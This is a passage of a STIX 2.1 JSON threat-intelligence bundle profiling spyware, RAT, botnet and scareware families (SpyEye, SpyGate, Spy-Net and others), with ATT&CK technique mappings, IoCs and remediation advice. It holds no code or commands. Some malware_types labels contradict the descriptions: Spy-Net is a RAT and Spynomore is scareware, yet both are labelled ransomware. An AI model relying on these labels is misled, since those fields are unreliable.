regularly queries the `GetForegroundWindow` API to log which applications are in focus, taking periodic screenshots (`T1113`). It may also scrape the clipboard (`T1115`) and extract saved passwords from browsers (`T1555.003`). The massive volume of harvested data is encrypted, compressed into archive files (e.g., `.zip` or `.cab`), and exfiltrated via FTP, SMTP, or HTTP (`T1048`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe, prolonged data loss, including intellectual property, passwords, and sensitive communications. Host-based IoCs include EDR alerts for extensive API hooking, the presence of hidden, growing log files (often encrypted) in the `%AppData%` or `%Temp%` directories, and unknown processes running as a Service. Network IoCs include regular, scheduled outbound connections (e.g., every 60 minutes) to unknown FTP servers or SMTP relays to deliver the logs. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spyagent",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spyagent"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1060865-c155-5463-81bd-0421b16ef2b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b1a9b77-90e3-5a9c-84e3-560b70454932",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyagent exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2afd7ac-7fa6-5a63-a597-f336c9976a9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b1a9b77-90e3-5a9c-84e3-560b70454932",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyagent exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd292d9c-ddde-56a4-b447-652440c338e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b1a9b77-90e3-5a9c-84e3-560b70454932",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyagent exhibits technique T1048 (Exfiltration Over Alternative Protocol (FTP/SMTP))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55490c4e-44a4-505a-ade9-50bd8c14f799",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b1a9b77-90e3-5a9c-84e3-560b70454932",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyagent exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--97c4b825-b9b7-5940-819f-d2ae71e9052a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spybot",
      "description": "Worm:Win32/Spybot (not to be confused with the legitimate 'Spybot Search & Destroy' utility) is an extremely famous, historic IRC-based worm and botnet agent that dominated the early 2000s alongside threats like Agobot and Phatbot. It laid the architectural groundwork for modern botnets, utilizing decentralized IRC servers for Command and Control (C2) and aggressively scanning the internet to self-propagate.<br><br><b>Understanding the Spybot Worm</b><br>To an infected user, the machine might become suddenly sluggish, or their internet connection might saturate as the worm aggressively scanned outbound. For security analysts, Spybot was a massive plague. Its source code was leaked publicly early on, leading to thousands of script kiddies creating their own variants, making signature-based detection a nightmare. The primary use case was launching massive Distributed Denial of Service (DDoS) attacks and stealing CD-keys for popular games.<br><br><b>Propagation and IRC Botnet Mechanics</b><br>Spybot propagated heavily via network exploitation (`T1210`), aggressively scanning IP ranges for Windows machines vulnerable to known exploits (like the DCOM RPC vulnerability) or open network shares with weak passwords (`T1110.001`). Once inside, it dropped its payload (`T1059`) into the `%SystemRoot%` directory and established persistence via multiple Registry Run keys (`T1547.001`). It then connected to a hardcoded Internet Relay Chat (IRC) server (`T1071.001`), joined a hidden channel, and waited for commands from the botmaster. The botmaster could order the entire swarm of infected PCs to launch SYN floods (`T1498`), download further malware (`T1105`), or act as a proxy.<br><br><b>Indicators of Compromise & Impact</b><br>The impact was severe network disruption (DDoS) and rapid lateral movement. The primary network IoC is persistent, long-standing outbound TCP connections on Port 6667 (or non-standard high ports) to unknown IRC domains. EDR logs would show an executable in `C:\\Windows\\System32` (often named `wuamgrd.exe` or similar system spoofs) aggressively scanning outbound on port 135 or 445. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spybot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spybot"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3c94c09-0289-547b-bb61-43bcff89dabb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97c4b825-b9b7-5940-819f-d2ae71e9052a",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spybot exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (IRC for C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddb65135-7210-5fbb-9b11-b93c5a9accef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97c4b825-b9b7-5940-819f-d2ae71e9052a",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spybot exhibits technique T1498 (Network Denial of Service (Botnet DDoS attacks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--241a0df2-3e72-5695-b872-0d6002221a58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97c4b825-b9b7-5940-819f-d2ae71e9052a",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spybot exhibits technique T1210 (Exploitation of Remote Services (Worm Propagation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f06c7107-b6f8-5598-b456-5da6595da2ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97c4b825-b9b7-5940-819f-d2ae71e9052a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spybot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5c8cf7a3-d200-57f8-9714-a9019111bace",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spyboter",
      "description": "<h3>Executive Summary</h3>\nSpyboter is a dedicated, malicious Keylogger and Information Stealer (Spyware). Its primary objective is to silently monitor a victim's keystrokes, capturing passwords, personal communications, and sensitive financial data without the user's knowledge, and transmitting this harvested intelligence to remote cybercriminals.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSpyboter is typically distributed via spear-phishing campaigns containing malicious attachments, software bundling (hidden within \"free\" or cracked applications), or as a secondary payload dropped by an initial access broker.\n\nOnce executed, Spyboter establishes deep system hooks to monitor user input:\n<ul>\n<li><strong>Keystroke Interception:</strong> The malware utilizes Windows API hooking (specifically utilizing `SetWindowsHookEx`) to intercept hardware interrupts from the keyboard. This allows it to record every single keystroke before it reaches the intended application.</li>\n<li><strong>Contextual Logging:</strong> Advanced variants of Spyboter do not just record raw keystrokes; they record the title of the active window where the keystrokes were entered. This allows attackers to easily parse the logs to find the specific keystrokes entered into \"Bank of America Login\" or \"VPN Authentication.\"\n<li><strong>Exfiltration:</strong> The recorded logs are typically saved locally to a hidden, encrypted file. Periodically, the keylogger will silently transmit this file to an attacker-controlled server via SMTP (email), FTP, or HTTP POST requests.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Spyboter infection is a severe privacy and security breach. Because it captures data at the hardware input level, it completely bypasses the encryption of HTTPS websites and renders standard password complexity rules useless, as the attacker receives the password exactly as it is typed.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the machine to immediately halt the outbound transmission of the recorded keylogs.</li>\n<li><strong>Complete Credential Reset:</strong> Assume that every password ever typed on the infected machine (including network domain credentials, personal banking, and social media) has been compromised. The user must initiate a comprehensive password reset from a known-secure, separate device.</li>\n<li><strong>Endpoint Sweeps:</strong> Utilize robust EDR or anti-malware tools to locate and terminate the keylogger process. Pay close attention to hidden files in `%AppData%` and anomalous entries in the Registry `Run` keys used for persistence.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Keylogger.Spyboter",
        "Spyware.Spyboter",
        "Win32/Spyboter"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spyboter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spyboter"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--380b69d5-fe01-50af-abe4-9861857f06a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5c8cf7a3-d200-57f8-9714-a9019111bace",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyboter exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d9ffb33-d94d-50b2-a879-66cc6d7970f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5c8cf7a3-d200-57f8-9714-a9019111bace",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyboter exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59b41eb7-0e81-558b-ab09-2f09c41dad95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5c8cf7a3-d200-57f8-9714-a9019111bace",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyboter exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1e0d737e-0345-5188-a54b-2df183a94d0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spyeye",
      "description": "SpyEye (cataloged across security vendors as Trojan:Win32/SpyEye, Win32/SpyEye, and TSPY_SPYEYE) is one of the most notorious and commercially successful banking trojans in cybersecurity history, developed by Russian national Aleksandr Andreevich Panin ('Gribodemon') alongside co-conspirator Hamza Bendelladj ('Bx1'). First appearing on underground cybercrime forums in 2009, SpyEye was engineered to compete directly with and eventually assimilate the Zeus banking trojan codebase. Sold as a commercial crimeware kit, SpyEye utilized advanced Man-in-the-Browser (MitB) capabilities, HTML injection (webinjects), and keystroke logging to intercept financial credentials, one-time passwords, and payment card details as victims logged into online banking portals. The malware weaponized browser memory corruption flaws (including CVE-2010-0806 and CVE-2010-1885) and employed aggressive defense evasion routines, including a specialized 'Kill Zeus' component designed to remove rival Zeus botnet infections from compromised hosts. The botnet caused close to $1 billion in global financial damages before its operators were arrested and sentenced to over 24 years in federal prison in 2016. (Observed samples in benchmark: 192)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/SpyEye",
        "Win32/SpyEye",
        "Trojan.SpyEye",
        "SpyEye Bot",
        "TSPY_SPYEYE",
        "SpyEye.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spyeye",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spyeye"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b90703cb-c841-5a60-a913-c2f50435eea9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e0d737e-0345-5188-a54b-2df183a94d0f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyeye exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16d46d35-7954-5b44-a272-602564e3eceb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e0d737e-0345-5188-a54b-2df183a94d0f",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyeye exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e94ab7ed-9211-5cac-81b9-ce1f42bda968",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e0d737e-0345-5188-a54b-2df183a94d0f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyeye exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a58efcf9-106d-5ac1-bfca-a0212e8da637",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e0d737e-0345-5188-a54b-2df183a94d0f",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyeye exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--950d3183-5367-5261-94d4-72dd0a90ecfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e0d737e-0345-5188-a54b-2df183a94d0f",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyeye exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c372ef4b-68e5-5b0a-b08e-c57a901c48c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spygate",
      "description": "Backdoor:Win32/Spygate (widely known as SpyGate-RAT) is a prominent, commercial Remote Access Trojan builder developed in .NET and Visual Basic that emerged in 2014, architecturally derived from the leaked Spy-Net and njRAT (Bladabindi) codebases. Marketed openly on cybercrime forums and YouTube tutorials, SpyGate became a staple weapon for hacktivists, cybercriminals, and Advanced Persistent Threat groups across the Middle East, North Africa, and Latin America. The malware client compiles compact, highly obfuscated executable payloads that communicate with attacker-controlled command servers over configurable TCP ports (typically 1200 or 1500) using custom delimiter-based plaintext and XOR-encoded commands. SpyGate equips operators with real-time keystroke logging, webcam and microphone spying, remote registry editing, file manager browsing, process termination, and password extraction from major web browsers, email clients, and messenger apps. It utilizes dynamic DNS providers (No-IP, DuckDNS) for resilient C2 resolution and employs process hollowing into svchost.exe and MSBuild.exe to evade host-based behavioral monitoring. (Observed samples in benchmark: 127)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "SpyGate",
        "SpyGate-RAT",
        "Backdoor.Spygate",
        "Win32/Spygate",
        "Spy-Net Fork"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spygate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spygate"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05ae404c-26ea-514b-ac79-c4c181f8b516",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c372ef4b-68e5-5b0a-b08e-c57a901c48c7",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spygate exhibits technique T1055.012 (Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66ee5a77-bb20-5baf-9311-000e34399091",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c372ef4b-68e5-5b0a-b08e-c57a901c48c7",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spygate exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03aeacb0-3c74-53fd-959a-6061b963014e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c372ef4b-68e5-5b0a-b08e-c57a901c48c7",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spygate exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57e2463a-50ae-5eb8-8a81-b9f126386567",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c372ef4b-68e5-5b0a-b08e-c57a901c48c7",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spygate exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af4cb5e4-09d2-54de-90f8-ef4396f7f65b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c372ef4b-68e5-5b0a-b08e-c57a901c48c7",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spygate exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ece1375-d012-572c-a547-2ca230cf2699",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c372ef4b-68e5-5b0a-b08e-c57a901c48c7",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spygate exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0b82c158-c49a-5bae-a73e-8676d17e5f56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spynet",
      "description": "<h3>Executive Summary</h3>\nSpy-Net (often detected simply as SpyNet) is a classic, widely available Remote Access Trojan (RAT) that has been in circulation for over a decade. Written in Delphi, it provides threat actors with a fully featured graphical user interface (GUI) to covertly control infected Windows machines. While older, it remains highly effective and is frequently used by script kiddies and organized cybercriminals alike for espionage, data theft, and botnet creation.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSpy-Net is typically distributed via malicious email attachments, bundled with pirated software or game cheats on P2P networks, or dropped by other loaders. The attacker uses a \"builder\" application to configure the server executable (the malware) with their specific Command and Control (C2) IP address.\n\nOnce executed on the victim's machine, Spy-Net provides extensive remote control capabilities:\n<ul>\n<li><strong>Surveillance and Espionage:</strong> The RAT grants the attacker the ability to covertly view the victim's desktop in real-time, activate the webcam and microphone, log all keystrokes (keylogging), and steal saved passwords from web browsers and email clients.</li>\n<li><strong>File System Manipulation:</strong> The attacker has full access to the file system. They can download, upload, execute, and delete files, allowing for the silent exfiltration of sensitive documents or the deployment of secondary malware (like ransomware).</li>\n<li><strong>System Control:</strong> Spy-Net allows the attacker to terminate processes, edit the Windows Registry, execute remote shell commands (`cmd.exe`), and even perform a remote reboot or shutdown of the machine.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Spy-Net infection is a critical security incident. The presence of an active RAT means the network perimeter has completely failed, and a human adversary currently has interactive, administrative-level access to the internal network. Data exfiltration is highly likely to have already occurred.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> The highest priority is to physically disconnect the infected machine from the network to sever the attacker's interactive connection and prevent further lateral movement. Do not power off the machine immediately, as volatile memory (RAM) may be required for forensic analysis.</li>\n<li><strong>Forensic Triage:</strong> Utilize Endpoint Detection and Response (EDR) to identify the specific processes associated with Spy-Net and analyze its network connections to identify the C2 infrastructure.</li>\n<li><strong>Enterprise Password Reset and Re-imaging:</strong> Because the attacker had interactive access and keylogging capabilities, all credentials used on or accessible from the compromised endpoint must be reset immediately. The endpoint itself must undergo a complete bare-metal wipe and re-image from a trusted baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.SpyNet",
        "Trojan.SpyNet",
        "Win32/SpyNetRAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spynet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spynet"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--762a3ca8-ccf3-57f8-bbec-6f8973cd47ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b82c158-c49a-5bae-a73e-8676d17e5f56",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spynet exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7911387e-e6a5-588c-bf92-5584749106ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b82c158-c49a-5bae-a73e-8676d17e5f56",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spynet exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95d67777-c324-5f55-85c7-a1747ab2c736",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b82c158-c49a-5bae-a73e-8676d17e5f56",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spynet exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53a06f81-d479-53f3-bc98-148accec94ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b82c158-c49a-5bae-a73e-8676d17e5f56",
      "target_ref": "attack-pattern--f2e09458-77a2-5600-b8a7-231363608c16",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spynet exhibits technique T1021 (Remote Services (Lateral movement to critical bank infrastructure))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--af65eb31-78b7-51fd-87b9-633ed76d6b1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spynomore",
      "description": "Rogue:Win32/Spynomore is a classic example of **Scareware or Fake Antivirus (FakeAV)**. It is a deceptive program that masquerades as a legitimate security tool. Its sole purpose is to perform a fabricated 'scan' of the system, report hundreds of non-existent critical malware infections, and then aggressively demand that the user purchase a license to 'fix' the problems it just invented.<br><br><b>Understanding Spynomore (Scareware)</b><br>To an end-user, Spynomore is highly alarming. It utilizes deceptive UI design, flashing warning icons, and alarming language to induce panic. It preys on the user's fear of cyber threats. For a security analyst, Spynomore is considered a Potentially Unwanted Program (PUP) or Rogue software. While it generally does not encrypt files like ransomware, it significantly degrades the user experience, attempts financial fraud, and represents a successful social engineering attack.<br><br><b>Execution and Deception Mechanics</b><br>Spynomore is typically distributed via deceptive web advertisements (malvertising), fake software update pop-ups, or bundled tightly with free software downloaded from unverified portals (`T1189`). Upon installation (`T1204.002`), it establishes persistence via the Registry Run keys to ensure it launches every time the computer boots (`T1547.001`). The software then initiates its fake scan, intentionally flagging benign temporary files as 'Severe Threats'. It constantly generates intrusive pop-up notifications from the system tray (`T1491.001`). To further coerce the user, it may intentionally block the execution of legitimate administrative tools (like Task Manager or Registry Editor), claiming those tools are 'infected', until the user inputs credit card information into its built-in payment portal.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is financial loss (fraudulent software purchase) and a severely degraded system. Host-based IoCs are obvious: the presence of a highly aggressive, unknown 'security' program launching on boot, constant system tray warnings, and the inability to run standard Windows troubleshooting tools. Network IoCs involve traffic to the rogue software's payment processing domains. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spynomore",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spynomore"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3799b83e-6890-53de-8a3c-f0be4a313ef4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
